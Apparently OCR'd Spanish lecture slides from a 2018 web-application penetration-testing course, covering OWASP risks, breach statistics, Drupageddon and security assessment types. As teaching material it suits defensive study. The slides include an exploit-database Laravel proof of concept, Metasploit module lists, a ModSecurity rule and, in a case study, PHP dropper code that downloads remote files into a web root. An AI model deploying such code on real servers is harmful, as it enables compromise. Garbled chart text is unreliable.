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Objetivo del postgrado

@ Caracterizar las principales vulnerabilidades en las aplicaciones web

@ Seleccionar los métodos adecuados para realizar pruebas de seguridad
segln los componentes que quieran evaluarse.

@ Analizar e interpretar los resultados de las pruebas de seguridad en el
marco de un proyecto de Prueba de Penetracion.

o Identificar métodos de soluciéon a las vulnerabilidades y errores
encontrados.
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Temas

e Tema 1: Introduccién a la seguridad informatica en aplicaciones web.
@ Tema 2: Evaluacion de la base tecnolégica.

@ Tema 3: Pruebas de penetracién en la gestion de identidades y la
autenticacion.

e Tema 4: Pruebas de penetracion en la gestién de autorizacién y la
gestion de sesiones.

e Tema 5: Comprobacién de vulnerabilidades de inyeccion de cédigos,
peticiones cruzadas e inclusién de archivos.
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Organizacién

~_ Evaluacién - Evaluacion |
Evaluaclon
g Proyecto Final
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i Qué resultados podemos esperar?
ﬁi I;’
‘v,,

La aplicacion de los conocimientos
adquiridos en el curso permitira
solucionar, como minimo, el 90 %
de los problemas de seguridad

presentes en las aplicaciones web,
en cualquier contexto.

v

-
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Aplicaciones web

Las aplicaciones web son la base para la informatizacién de la sociedad
moderna. En la mayoria de los casos, la interrelacion de personas y entidades
se establece en el ciberespacio a través de ellas.
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Crecimiento de Dominios de Internet (1994-2017)

Internet Domain Survey Host Count

1.200,000.000

[ o
1.000,000,000 + e
500,000,000 + F’,

"

A00,000,000 -
-
H,
400,000,000 1- -
200,000,000 + ')r.
1K
IS RS STy anae s oo ey o

Source: Internet Systems Consortium [www_isc.org)
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Crecimiento de incidentes de ciberseguridad que involucran
aplicaciones web

Agencia Europea de Seguridad de las Redes y de la Informacion (ENISA)

Ataques basados en la web en el 2017

@ 58% del malware distribuido en entornos de produccién fue a través de la
web.

@ Mas del 50% de todos los ciberataques se dirigieron desde (o utilizaron)
tecnologias basadas en la web.

.

Ataques en aplicaciones web en el 2017

@ El 30% del total de brechas de seguridad reportadas involucraron ataques
contra aplicaciones web.

@ El 93% de los ataques fueron organizados por grupos criminales.

.

Analisis basados en reportes de Akamai, WhiteHat Security Fortinet,
McAfee Labs, Kaspersky Labs, Verizon, Sucuri y otros.
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Vulnerabilidades

Las vulnerabilidades son errores, fallas, debilidades o exposiciones internas
de una aplicacién, dispositivo del sistema o servicio que podria conducir a
un error de confidencialidad, integridad o disponibilidad *.

iPor qué existen las vulnerabilidades?
o Las personas cometen errores.
@ Las aplicaciones informaticas son desarrolladas
por personas.

@ Ergo: Las aplicaciones informaticas desarrolladas
por personas contienen errores.

La presion por el cumplimiento de los plazos de entrega de los proyectos
aumenta la presencia de vulnerabilidades.

LFRANKLIN, Joshua; WERGIN, Charles; BOOTH, Harold. CVSS
implementation guidance. National Institute of Standards and Technology,
NISTIR-7946, 2014.
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OWASP Top 10 2017

Riesgos en Seguridad de Aplicaciones

Inyeccion

Pérdida de Autenticacién

Exposicién de datos sensibles

Entidades Externas XML (XXE)

Pérdida de Control de Acceso

Configuracién de Seguridad Incorrecta

Secuencia de Comandos en Sitios Cruzados (XSS)
Deserializacién Insegura

Componentes con vulnerabilidades conocidas

000000000

Registro y Monitoreo Insuficientes

OWASP

Open Web Application
Security Project
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Destruir definitivamente los
archivos, datos, sustituir
archivos, etc... Acciones

concretas y lineales.

ServidoCLIENTE

Se disefian para

aprovecharse de e N

vulnerabilidades con el Dejar un payload que permita corﬂrolar el
objetivo de: servidor. Ejemplo Redes Zombies.
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Exploits para Laravel

Home Exploits Shellcode Papers Google Hacking Database Submit

Laravel - 'Hash::make()' Password Truncation Security

EDB-ID. Author: Pichaya Morimata Published: 2014-
CVE: N/A Type: Remote Platform: Multiple
Aliases: N/A Advisory/Source: Link Tags: N/A

EDB Verified: &  Exploit: § Download /[YView Raw  Vulnerable App: N/A

« Previous Exploit Next Exploit »

source: http://www.securityfocus.com/bid/69849/info

Laravel is prone to a security weskness due to pseudo password hash collision.

Attackers can exploit this issue to bypass intended security restrictions. This may aid in further
attacks.

/4 user input password
sinput = str repeat('A',72):
/4 plaintext password

Spassl =
ARAAAAAAAAAARAAAARAAAAAAAARAAARAAAAAAAAAAAAARAAAAAAAAAAAAAAAARAAAAAARAAA . ‘Mysupersecretpassward”;
Spass2 =

AAAAAAAAAAAAAAAAAAAAAAAAAARAAAARAAAARAAAAAARRAAARARAAAAAAAAAARAAAAARAAAA . ‘Longcatishere ;

/4 hashed password

shashl make(spassl):

shash2 make($pass2);

/4 match?

§statusl = Hash::check($input, $hash1)?'Yes':'No';

$status?

Hash heck($input.

$hash2)?'Yes':

‘No';

| Gonzalez Br
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Exploits para IIS

Matching Modules

sure

2010-87-02 normal
2010-12-21 normal
2009-09-03 normal
2010-09-14 normal
normal
normal crosoft IIS HTTP Int
normal
2012-12-17 normal A (OWA)
2004-03-18 great AM.dL1 ICQ Parser
2009-08-31 great 9-0 osoft IIS
web_webquerydll P ] )8-0 normal Aml b NetOpacs webg
excellent , 8.7, 9.0 X
excellent braco CMS Remote €

2017-83-26 manual rosoft IIS WebDav
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Ventana de riesgo de una vulnerabilidad

54 dias + x

54 dias

6 dias x dias
—

Sistemas vulnerables

Xt .

Se descubre la || | Se informa al . | Se crea un parche _ | Se instala el parche
vulnerabilidad [ 7| fabricante

N
A

de seguridad por el usuario
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Fases de un ciberataque

&=

Recono

cimiento acio Instalacion

Acciones sobre
el Objetivo

Creacion del arsenal de ataque Enta Comando y Control

MSc. Henry Raul Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 19 / 116



i Que ocurre cuando estos elementos se combinan en un

entorno real?

o

MODULE
DEVELOPMENT,

THEME/
TEMPLATE
DESIGN

RESPONSIVE !

DESIGN
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Drupal 7.23 [Agosto 2013, Vulnerabilidades=0]

Drupal 7.23 released

Posted by David_Rothstein on 8 Aug 2013 at 02:20 UTC

Update: Drupal 7.24 is now available.

Drupal 7.23, a maintenance release with numerous bug fixes (no security fixes) is now
available for download. See the Drupal 7.23 release notes for a full listing.

Upgrading your existing Drupal 7 sites is

recommended. There are no major new features in Download Drupal 7.23
this release. For more information about the Drupal 7.x

release series, consult the Drupal 7.0 release

announcement.

Changelog Security information
Drupal 7.23 contains bug fixes and small APIffeature We have a security
improvements only. The full list of changes between the announcement mailing list and
7.22 and 7.23 releases can be found by reading the 7.23 a history of all security
release notes. A complete list of all bug fixes in the advisories, as well as an RSS
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Drupal 7.23 [Diciembre 2013, Vulnerabilidades=5]

Drupal » Drupal » 7.23 : Security Vulnerabilities Published In 2013

Cpe Name:cpe/adrupatdrupal7.23

2013 : January February March Aprl May June Juy August September October Movember December CVSS Scores GreaterTham:0 1 2 3 4 5 6 7 8 9
Sort Results By : CVE Number Descending  CVE Number Ascending CVSS Score Descending Number Of Exploits Descending

Cony Results Download Results

#  CVED CWE  #of Vulnerability ~ Publish  Update  Score  Gained  Access Complexity Authentication Conf. Integ. Avail.
D Exploits Type(s) Date Date Access.
Level
1 CVE-2013.6389 20 2013-1207 20140103 | &@ None  Remote  Medium Notrequired  Partal Partial None
Open redirect vulnerabilty in the Overlay module in Drupal 7.x before 7.24 allows remote attackers to redirect users to arbirary web sites and conduct phishing atiacks via unspecified
vectors.
2 CVE-2013-6388 19 XSS 20131224 20140108 | 43 None  Remote  Medum Motrequied  Mone Partial None

Cross-site scripting (XSS) vulnerability in the Color module in Drupal 7.x before 7.24 allows remote attackers to inject arbitrary web script or HTML via vectors related to CSS,
3 CVE-2013-6387 79 XSS 2013-12.24 2014-01.03 - None Remate High Single system  None Partial Mone

Cross-site scripting (XSS) vulnerability in the Image module in Drupal 7.x before 7.24 allows remote authenticated users with certain permissions to inject arbitrary web script or HTML via
the description fiekd

4 CVE-2013-6386 310 Bypass 2013-12.07 2014-01-13 gl None  Remote  Medium Notrequired  Partial Partial Partial

Drupal 6.x before 6.2 and 7.x before 7.24 uses the PHP mt_rand function to generate random numbers, which uses predictable seeds and allows remote attackers to pregict security
strings and bypass intended restrictions via a brute force attack

5 CVE-2013-6385 94 Exec Code 2013-12.07 2014-01-13 | 51 None Remote High Notrequired  Partal Partial Partial
CSRF

The form AP| in Drupal 6.x before 6.29 and 7.x before 7.24, when used with unspecified third-party modules, performs form validation even when CSRF validation has failed, which might
allow remote attackers to trigger application-specific impacts such as arbitrary code execution via application-specific vectors.

Total number of vulnerabiities : 5 Page : 1 (This Page)
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Drupal 7.23 [Octubre 2014, Drupageddon]

Posted by Drupal Security Team on 15 Oct 2014 at 16:02 UTC

* Advisory ID: DRUPAL-SA-CORE-2014-005
Project: Drupal core

* Version: 7.x

* Date: 2014-Oct-15

» Security risk: 25/25 (FE AN RSUAE]) AC:None/A:None/CI:All/II:All/E:Exploit/TD:All
e Vulnerability: SQL Injection

-

Description

Drupal 7 includes a database abstraction API to ensure that queries executed against the
database are sanitized to prevent SQL injection attacks.

A vulnerability in this API allows an attacker to send specially crafted requests resulting in
arbitrary SQL execution. Depending on the content of the requests this can lead to privilege
escalation, arbitrary PHP execution, or other attacks.

This vulnerability can be exploited by anonymous users.
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3 de abril del 2016

Han transcurrido dos afios y medios desde que se hizo publica la
vulnerabilidad CVE-2014-3704, mas conocido en el dmbito tecnolégica y
académico como Drupageddon .
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Papeles de Panama

The Panama Papers is the largest financial data leak in
history. It covers nearly 40 years, from the late 1970s
through the end of 2015.

2.6TB 214,488

of data from Mossack documents offshore accounts revealed
Fonseca's database exposed across 200+ countries

DBY »STINSON

MSc. Henry Raul Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 25 / 116



WEiR D]

obsolete and insecure SSL v2 protocol. The portal, which runs on
the Drupal open source CMS, was last updated in August 2013,
according to the site’s changelog.

On its main website Mossack Fonseca claims its Client Information
Portal provides a "secure online account” allowing customers to
access "corporate information anywhere and everywhere”. The
version of Drupal used by the portal has at least 25 vulnerabilities,
including a high-risk SQL injection vulnerability that allows
anyone to remotely execute arbitrary commands. Areas of the

Forbes 8 , .
- discovered the firm ran a three-month old version of WordPress
for its main site, known to contain some vulnerabilities, but more worrisome



Panama Papers revelation: we must
rethink data security systems

While the leaker or leakers are still not identified, they may eventually be

Author

unmasked by electronic forensic work. Their points of entry, from what
we know, were remarkably basic: unencrypted emails on a version of e Secjey om
Microsoft Outlook not updated since 2009, server vulnerabilities Uniersi 1
including a WordPress plugin known to be buggy and a customer portal o

running on a long-outdated version of Drupal. t—




Drupal 7.23 [Octubre 2017, Drupageddon]

& Seguido por Ronald van der Meer 4 y 1 mas

Lindsey Ledford @deborahlindseyl - 20 jun. 2017
come on, georgia. this is terrifying. #drupageddon

scmagazine.com/researchers-fe... via @scmagazine @robertjaabel

& Traducir del inglés

O 0 V) &

MSc. Henry Raul Gonzalez Brito (UCI)
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Drupal 7.23 [Enero 2018, Vulnerabilidades=38]

Vulnerabilities By Year Vulnerabilities By Type
10 10 10 2013 5 7 M Execuie Code 2
2014 10 M xsse
2015 10 Bypass Something 4
M 2016 10 CSRF 2
W20173 M Denial of Service 3
Gain Information 7

[
4
. s 1
ql Inpgction
3
Z Z I 2 M Gain Privilege 2
I L I
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iSolo las aplicaciones web son afectadas?

ST camPAIGN MULTIPLAYER ARCADE REPLAYS
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Cliente de Blizzard

Vulnerable a un ataque de DNS Rebinding. La plataforma se ejecuta sobre un servidor
HTTP JSON RPC que se inicia dentro del propio ordenador en el puerto 1120.

Critical Flaw in All Blizzard Games Could Let Hackers
Hijack Millions of PCs

B Monday, January 22,2018 & Mohit Kumar

in svoe 0 et JO s | (= ]

/[l oniosd cents x V' [ Bhzzard o0 Rebndeg T

€ | Okck.cmpuchgb.com

Tse iz caleulater to End rbadr hostnames. lock cmpecchgBb.com says: g

Attas
Mot that this attack ean take up to Euve mimies to weork, thit would be happesing whill you read 2 website i the backs i o |
This could be sped up constderably by forcng dns cache eviction, but this demo doesn't do that Open the congole (F12  Jnstaled : fafie,

Progres”: 0

“Plyabls_progeess” +0.000000,
Rebindng Host UFL hitg: %1 %62 theh s V1 Midhaeedae il TR ERe s,
Rebindng Host & 127.0.0.1 T : 1w J
Rebindng Host B (Afack Server) 198 241 28227

How long to wast between attempts (seconds, 20 works best for chrome) 20
{
“ufd®: “battle.net”,
=instructions_product™s Bne",  ming meds ; fake,
“gae_cir": "Ci/emloit,
stall comnmand to send on suceess (defud willinstal bl et to clesples) Tinalized™: true

Force Cache Eviction w
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iParadigma real?

The Matrix, 1999

Hackers, 1995
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Claves para

entender el estado
actual de la
ciberseguridad en

Internet




i Por qué las aplicaciones web son vulnerables?

Funcionan sobre un protocolo sin estado como HTTP.

Dependen de componentes tecnoldgicos diversos para su
desarrollo y puesta en produccién, lo que incrementa su
complejidad, mantenimiento y nimero de vulnerabilidades
(superficie de ataque).

Los software de seguridad han demostrado ser necesarios
pero no suficientes para hacer disminuir o contener los
ciberataques.

Cada dia hay mas dispositivos vulnerables conectados a
Internet (loT). Estos son aprovechados como plataforma de
lanzamiento de ciberataques.

Son el blanco (y medio) mas frecuente de los
ciberdelincuentes por ser las aplicaciones que gestionan
la mayor cantidad de datos, operaciones e interacciones de

los usuarios.
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HTTP. Un protocolo sin estado

HTTP trata cada peticién como una transaccién independiente sin relacién
con cualquier solicitud anterior. Esto significa que los desarrolladores

tienen la responsabilidad de establecer los mecanismo necesarios para

mantener el estado entre peticiones?.

Peticion HTTP /

Peticién API Consulta
HTTP saL
B = |]III\ZI
— | =H—01pF 10
— espuesta L1
HTTP Resy L
Agente de Internet/ e
Usuario Intranet i i
Servidor Web Servidor de App Base de
(Presentaciéon)  (Ldgica de Datos
Negocio) (Recursos)

I I

Los servidores pueden ser independientes o
estar en una misma computadora

2FIELDING, Roy T., et al. Reflections on the REST architectural style and
principled design of the modern web architecture (impact paper award). En
Proceedings of the 2017 11th Joint Meeting on Foundations of Software
Engineering. ACM, 2017. p. 4-14.
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Dependencia de componentes tecnolégicos diversos
Ejemplo de complejidad de la web

i Joomla

# MooTools

G Nginx

oo PHP 5.4.34

INFORME DE LOS COMPONENTES
DE UNA APLICACION WEB.

B Twitter Bootstrap
O UIKit

& jQuery

PRESENCIA DE 7 FRAMEWORKS
DIFERENTES DE JAVASCRIPT

B Backbone.js
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Dependencia de componentes tecnolégicos diversos

Ejemplo de complejidad de la web

& ¥

albe O a Ti il i Al & -i
INFORME DE LOS COMPONENTES * “[astiiits

DE UNA APLICACION WEB. e Lillie
y jquery1.9.1

¥jqueryl.4.3
PRESENCIA DE 1 FRAMEWORK DE

JAVASCRIPT CON 5 VERSIONES
DIFERENTES

jqueryl.2.6
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Incremento de vulnerabilidades

7946
6610 6520

4935 5632 5736 5297 5191
2156 2451
894 10201677 . 1627
m

Tomado de www.cvedetails.com

64806447

1999 894
[ 2000 1020
M 2001 1677
M 2002 2156
2003 1527
2004 2451
2005 4935
Il 2006 6610
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[T 2008 5632
2009 5736
M 2010 4652
M 2011 4155
M 2012 5207
2013 5191
2014 7946
2015 6480
M 2016 6447
1237 2017 14712
0 W20181237

14712
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Incremento del Impacto de los Incidentes de Seguridad

feaes @ @ O H O H O H W HE E =

Xss Physical  Bruteforce Misconfig. Malvertising ~ Watering  Phishing saLi DDoS Malware ~ Heartbleed Undisclosed
access hole

Tomado de IBM X-Force Threat Intelligence Index 2017
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Sistemas de Seguridad, vulnerabilidades y limitaciones

Las limitaciones establecidas por los algoritmos y firmas de deteccién y los
problemas de configuracién en el momento de implantacién inciden en su
desempefio® Los software de seguridad no son inmunes a las vulnerabilidades.

SecRule TX:httpbl _msg "(?i)A.*? suspicious .*?$" \
"setvar:'tx.msg=%{rule.msg}"',\
setvar:tx.anomaly_score=+%{tx.critical_anomaly_score},\
setvar:tx.%{rule.id}-AUTOMATION/MALICIOUS-%{matched_var_name}=%{matched_var},\
setvar:ip.reput_block_flag=1,\
expirevar:ip.reput_block_flag=%{tx.reput_block_duration}, \
setvar: 'ip.reput_block_reason=%{rule.msg}"',\
setvar:ip.previous_rbl_check=1,\
expirevar:ip.previous_rbl_check=86400"

3ERNST, Jason; HAMED, Tarfa; KREMER, Stefan. A Survey and
Comparison of Performance Evaluation in Intrusion Detection Systems. En
Computer and Network Security Essentials. Springer, Cham, 2018. p. 555-568.
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Sistemas de detecciéon de Intrusiones

IDS (Intrusion Detection System)

Una limitacion de los IDS es su sensibilidad, que es dificil de medir y ajustar.
Un IDS nunca sera perfecto, por lo que encontrar el equilibrio adecuado es

fundamental.

Una daltima limitacién no es de los IDS per se, sino que es de uso. Un IDS
no se ejecuta solo, alguien tiene que monitorear su historial y responder a
sus alarmas. Un administrador comete un error al comprar e instalar un IDS

y luego ignorarlo®.

*PFLEEGER, Charles P.; PFLEEGER, Shari Lawrence. Security in

computing. Prentice Hall Professional Technical Reference, 2015.
2 de julio de 2018 41 / 116

MSc. Henry Rail Gonzalez Brito (UCI) Escuela Internacional de Verano 2018



Software de Seguridad Vulnerable

Cisco confirma la vulnerabilidad de la NSA: era y es posible
acceder a lainformacién

v iosooOs
Fo
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Una tentadora puerta de par en par

Cisco habla de dos vulnerabilidades que afectan a su software Adaptative
Security Appliance (un firewall), y en ambos casos con posibilidad de
ejecutar el cédigo de manera remota, por lo que el ataque podria haberse
cometido desde cualquier punto del planeta. Lo que han visto es que es
completamente posible que los hackers desactivasen la peticién de

contrasefias recurriendo al exploit ExtraBacon.

El riesgo es importante dado que los hackers
habrian tenido la posibilidad de controlar de
manera completa el firewall y monitorizar la
informacion

Como leemos en las declaraciones de Mustafa Al-Bassam (experto en
seguridad) en Ars Technica, el riesgo es importante dado que de este
modo los hackers habrian tenido la posibilidad de controlar de manera
completa el firewall y monitorizar la informacién. Unas
vulnerabilidades que Cisco atn tiene que corregir mediante parches de
actualizacién, si bien como leemos en el comunicado muestra cémo
detectar los exploits y detenerlos antes de que alguien pueda tomar el

control.




Internet de las Cosas
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Retos de Seguridad de la loT

Hoy la loT ha introducido nuevas superficies de ataques explotables que
se expanden mdas alla de la web, la nube, sistemas operativos diversos y
diferentes protocolos®®.

© Restricciones de recursos de computo lo que impiden que se apliquen medidas
similares de proteccién.

No se tiene en mente la seguridad cuando son disefiados.
Pruebas de seguridad deficientes.
Interfaces de compilacién abiertas.

Problemas en las configuraciones de red y credenciales por defecto sin
modificar (usuarios).

Deficiencias en el cifrado de informacién sensible.

©0 0000

La mayoria de los dispositivos son comprometidos para ser tomados como
punto de ciberataques a otras infraestructuras (Ej. botnet Mirai).

SSAMAILA, Musa G, et al. Security Challenges of the Internet of Things.
En Beyond the Internet of Things. Springer, Cham, 2017. p. 53-82.

STANKARD, Colin. The security issues of the Internet of Things. Computer
Fraud & Security, 2015, vol. 2015, no 9, p. 11-14.
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i Futuro o Presente?

The Internet of ransomware things...

ON STRIKE
UNTIL YOU

WIRE MY WAIT, I'M
HACKER #100 BUSY MINING
BITCOINS.

IF YOU DON‘T
SEND US CASH,
YOUR REPUTATION NETWORK THAT YOU
WILL BE IN THE ’ WERE STUPID ENOUGH
SH. TO BUY AN INTERNET-
CONNECTED BROOM!

Henry Rail Gonzalez Brito (UCI) Escuela Internacional de Verano 2018

30 BUCKS IN
BITCOIN, OR NEXT
TIME L

SMOKE, I MIGHT
JUST LET YOU

EMIS
GOING TO GO

UNLESS YOU
“DONATE”,
D

L'M TURNING
OFF THE
HEAT UNTIL

2 de julio de 2018
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Principales plataformas sobre las que se realizan bisquedas

de vulnerabilidades.
THE 2018 HACKER REPORT

WEBSITES : 70.8%
- 10S MOBILE APPLICATIONS : 1.4%
- ANDROID MOBILE APPLICATIONS : 4.2%
DOWNLOADABLE SOFTWARE : 2.5%
I:I WINDOWS MOBILE APPLICATIONS : 0.1%
COMPUTER HARDWARE: 0.5%
7 FIRMWARE : 1.3%
- OPERATING SYSTEMS : 3.1%
INTERNET OF THINGS (WEARABLES, APPLI...: 2.6%
- APls:7.5%
- TECHNOLOGY THAT I'M A USER OF/THAT HAS MY DATA :5.0%
- SUPPLY CHAIN PARTNER THAT MY OWN TE... : 0.3%

- EVALUATING THE TARGETED TECHNOLOGYTO BUY ORUSE:0.7%
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Mineria “intrusiva” de criptomonedas

Cryptojacking:Los ciberatacantes inyectan cédigo en sitios web legitimos,
obligando a sus visitantes a extraer criptomonedas utilizando sus propios
recursos de hardware durante su permanencia’

@ Ciberataques en aplicaciones web con el objetivo de inyectar un script para
minar Monero a través de CoinHive(Sucuri).

@ WannaMine: Malware de mineria de Monero basado en Mimikatz y
EternalBlue (PandaSecurity).

@ Malware criptominero, con un mecanismo para cerrar procesos de otros

mineros o procesos ambiciosos (en términos de ciclos de CPU) (Xavier
Mertens).

Cotizacién de Monero $170,58 USD
Volumen $56.780.500 USD M
coinmarketcap.com (22/mar/2018) ‘

"STOKEL-WALKER, Chris. Are you making cryptocurrency for crooks?.
New Scientist, Volume 237, Issue 3161, Page 16, Elsevier, 2018.
MSc. Henry Rail Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 47 / 116




Cyber Crime Report

Last year, more than three-quarters

of the Fortune 500 were breached
by cyber adversaries, and the average time
from a breach to its detection was nearly 146 days.

P L L L L L LA 0

V (/[ / 4

90% of security incidents result from exploits against
defects in software.
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Cyber Crime Report

Global Crisis

The Office for National Statistics (ONS) released

’ figures indicating that nearIy half of all crime
) b Y

5 in the United Kingdom is cyber crime.

W N L

——
—— 7 2 70 of the top 20 US banks
Eeessssssssssssss———  a7e infected with malware.
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Reporte de CMS comprometidos en el 2017

13.1%
6.5%

1
W X @

WordPress  Joomla! Magento

MSc. Henry Raul Gonzalez Brito (UCI)

Tomado de Sucuri

Escuela Internacional de Verano 2018

2 de julio de 2018

1.6% 0.7% 0.6% 0.6%  0.6% 0.5% 0.4% 0.3%
~— = [~ 4 =2 \J

@ T U XN G o= ¢

Drupal OpenCart  vBulletin ModX PrestaShop ~ phpBB Typo3  OsCommerce
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CMS comprometidos con bases tecnolégicas desactualizadas

mQ12016 ®WQ22016 mQ32016

WaordPress

Joomlal

Drupal

0% 10% 20% 30% 40% 50% 60% 70% 80% 90% 100%
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Impacto de los plugins desactualizados en aplicaciones

basadas en WordPress

H Q12016 W Q22016 W Q32016

20%

109%

0%

Revslider TimThumb GravityForms
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Distribucién de malware

Phishing | 3% 184

Redirect 3% 200

Defaced 4%

Mailer 5%

Hacktool 9%

Spam-SEO | 32%

Malware | 60% 4280

Backdoor | 68%

[

0 1000 2000 3000 4000 5000

MSc. Henry Raul Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 53 / 116



Mi portal nadie lo va a atacar porque no es importante
Mito
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Servidores comprometidos
Caso de Estudio

38 $check4-$ SERVER[ "DOCUMENT_ROOT "] "/media/check.php” ;

$text4d - http_get('http://mrtg.ui.phinma.edu.ph/components/qq.txt');
407 $opd-fopen($checksd, 'w');
41 fwrite($op4,$textd);

fclose($opd);

44, $check5=$% SERVER[ *DOCUMENT_ROOT "] *//media afls.php” ;
$texts http_get( 'http://mrtg.ui.phinma.edu.ph/components/qqz.txt");
46" $op5=fopen($check5, 'w');
47 fwrite($op5,$texts);
48 fclose(%$op5);
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La seguridad Informatica es un producto
Mito
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La seguridad es un proceso, no un producto

En 1991 John McCuber® presenta un modelo de seguridad de informacién
de tres dimensiones:

@ Objetivos de la seguridad de la
informacion.

o Estados de la informacién.

o Medidas de seguridad de la
informacion.

8MCCUMBER, John. Information systems security: A comprehensive model.
En Proceedings of the 14th National Computer Security Conference. National
Institute of Standards and Technology, 1991.
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La seguridad es un proceso, no un producto

En el afio 2000, Bruce Schneier® acufia la famosa frase La seguridad
es un proceso, no un producto: La inica forma de hacer negocios de
manera efectiva en un mundo inseguro es implementar procesos que reconozcan la
inseguridad inherente en los productos. La clave es reducir el riesgo de exposicion,
independientemente de los productos o parches.

9SCHNEIER, Bruce. The process of security. Information Security, 2000, vol.
3, no 4, p. 32.
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Students gain hands-on
cybersecurity education,
experience with VA cyber range

To make the virtual exercise sustainable, Virginia

universities opted to host Gl obal Cybersecurity Summit 2017: Are cybersecurity
dollars being spent effectively?

yber-security grad El futuro de la Ciberseguridad demandara 825.000 profesionales
property on the job street tecnolégicos hasta 2025

BY DEVINA SEN: '] JFTABASL, ET BUREAL | UPDATED:
JUN 30,2017,01.12 AM 1ST

MUMBAI: A spate of recent ransomware

. |
atiacks such as WannaCry and Petya
has led corporate India scrambling to hire
cyber-security experts to protect their IT
systems. O
I

Demand for graduates specialising in
cyber security has shot up to an alitime
high, and universities and educational

institutes are introducing these EZEEEZ.E TRABAJA\JDO POR

programmes to cater to the growing

LA CONFIANZA DIGITAL




_BLACK HAT ASIA 2017 - CALL FOR PAPERS IS OPEN
Interested in speaking at Black Hat Asia 20177 Make sure to submit by Octobe

black hat

BLACK HAT | EUROPE 2016 PENETRATION TESTING IS KEY IN LATESTINTEL
ENHANCING YOUR SECURITY

{1 Penetration Testing is |

Enhancing Your Securit
About
(=] Black Hat USA "Know B
Contact | mare info
Privacy L
{x] 2016 Attendee Survey
View
UPCOMINGEVENTS

(=] Black Hat Europe 2016
November 1-4, 2016

Last year, 594 million people were affected by cybercrime around the world (according to Norton 17 Black Hat Asia 2017
Cybersecurity Insights Report). Cyber attacks will only become more sophisticated in the years to come. As March 28-31, 2017
the severity of online attacks continue to escalate, it is critical to find ways to mitigate potential exploits.
Penetration testing is a great method of detecting vulnerabilities in your systems or devices and we've ) Black Hat USA 2017
highlighted a few Black Hat Trainings that can truly enhance your skills.

July 22-27, 2017

Assessing and Exploiting Control Systems is a fast-paced, highly technical course (originally 6-days,
distilled down to 2-days) that teaches participants penetration testing techniques for individual
components of a control system. The skills you'll learn in this course will directly apply to systems, such
as: Smart Grid, PLCs, RTUs, and many more. Students will have the opportunity to perform exercises on
real world and simulated devices to achieve a realistic experience in a classreom environment. In addition,
instructors will provide you with your own PLC and a set of hardware,/RF hacking tools for further practice
in tha ramfart of unir awn hame

SHOWCOVERAGE



Pruebas de

Penetracién y

Escaneos de
vulnerabilidades




Evaluaciones de Seguridad

Las evaluaciones de seguridad se realizan para garantizar que los sistemas
informaticos y redes de datos cumplen con las normas y estandares de
seguridad establecidos y puedan ofrecer la mayor proteccién contra las
amenazas comunes. Esto también contribuye a que los usuarios tengan
confianza en los servicios soportados a través de los sistemas evaluados.

2N

Evaluaciones de
Seguridad

Evaluacion de
Vulnerabilidades

S~ ~_ 7 ~_ 7

Auditoria de Seguridad Pruebas de Penetracion
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Auditorias de Seguridad

@ Se enfocan en la evaluacion de personas, procesos, cumplimiento
de normas, estandares y politicas de seguridad establecidas para
el tipo de entidad.

@ Incluye entrevistas a directivos, administradores TIC y otros.

@ Se revisan los componentes de la infraestructura tecnolégica, incluyendo
aspectos de proteccién y acceso fisico. Se realiza sistematicamente y
permite evaluar la posicién de la entidad ante las normas y politicas
establecidas.
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Evaluacién de Vulnerabilidades

o La evaluacién de wvulnerabilidades es un modo de definir,
identificar y clasificar problemas o errores en sistemas
informaticos o redes de datos.

@ En este tipo de evaluacién es una practica coman la utilizaciéon de
escaneres de vulnerabilidades, los cuales contienen un conjunto de reglas
predefinidas y permiten realizar muchas comprobaciones en un tiempo
breve.

@ Estas comprobaciones pueden estar orientadas a la identificacién de la
configuracién de los dispositivos, sistemas operativos, puertos abiertos
y servicios brindados a través de estos, debilidades en la configuracién,
politicas de contrasefias, servicios, directorios y archivos desatendidos o
mal gestionados, entre otros problemas.
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Tipos de Escaneos

o Escaneo Autenticado: Se le asignan credenciales de acceso al escaner.
Esto lo habilita para comprobar, no solamente las areas abiertas del
sistema sino también las restringidas, analizando de este modo mas
elementos en el sistema. Es importante tener en cuenta que esto
puede presentar un riesgo, dado por la posibilidad del escaner de
ejecutar acciones sobre el sistema no previstas, modificando los datos
y dificultando o impidiendo que el sistema brinde servicios durante el
proceso de evaluacion.

@ Escaneo no Autenticado: El escaner solo puede acceder a las areas
abiertas del sistema. Aunque la superficie de evaluacion es menor,
también lo es la posibilidad de que el escaner afecte el funcionamiento
del sistema evaluado.
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Escaneadores

Existe una amplia variedad de escaneres de vulnerabilidades. Dentro de los
mas utilizados se encuentran OpenVAS, Nessus, Burp Suite, OWASP ZAP,
Acunetix, entre otros. Algunos autores han reportado que en la actualidad
que se utilizan con regularidad 60 escaneres de vulnerabilidades a nivel

mundial.

Mmacunetix

WEB APPLICATION SECURITY

@\‘ Open qu\ﬂeerubﬂl'y Assessment System
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Pruebas de Penetracién

Método formal para realizar evaluaciones de seguridad en redes
de datos y sistemas informaticos, mediante la identificacion y
explotacién controlada de vulnerabilidades y empleando técnicas que
simulan un ciberataque real.

Su ejecuciéon se enmarca en un proceso formal mediante la contratacién
de este servicio a empresas consultoras de ciberseguridad o planificacién
y ejecuciéon por equipos internos de la entidad como parte del Plan de
Ciberseguridad.

MSc. Henry Raul Gonzalez Brito (UCI) Escuela Internacional de Verano 2018 2 de julio de 2018 67 / 116



Relacién entre Evaluaciones de Seguridad

Evaluacion de
Vulnerabilidades
@y ¢Qué componente de la
<= infraestructura tiene
£ i -' vulnerabilidades

conocidas?

Las evaluaciones de seguridad se
Auditoria de Seguridad  realizan para garantizar que los T
Procesos y personas sistemas informaticos y redes de
Seguridad Operacional ~ datos cumplen con las normas y
estandares de seguridad establecidos

Requiere

y puedan ofrecer la mayor proteccion
contralas amenazas comunes. Pruebas de Intrusién
¢ Pueden aprovecharse

Puede utilizar == las vulnerabilidades
para irrumpir en la

infraestructura

‘ tecnolégica?
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Antecedentes de las Pruebas de Intrusién

@ (1965) En wuna conferencia técnica,
especialistas de SDC lograron mostrar
una docena de ejemplos de evasiones
de las medidas de seguridad de la IBM
Q-32, la cual tenia una arquitectura de
computacién de tiempo compartido.

@ (1973) Metodologia FHM  (Flaw
Hypothesis Methodology).

@ El uso piblico de Internet en los 80
incrementd la atencién por la seguridad
de las aplicaciones y las redes de datos.
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Desarrollo de Internet en la década de los 80
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Intrusiones en redes de datos

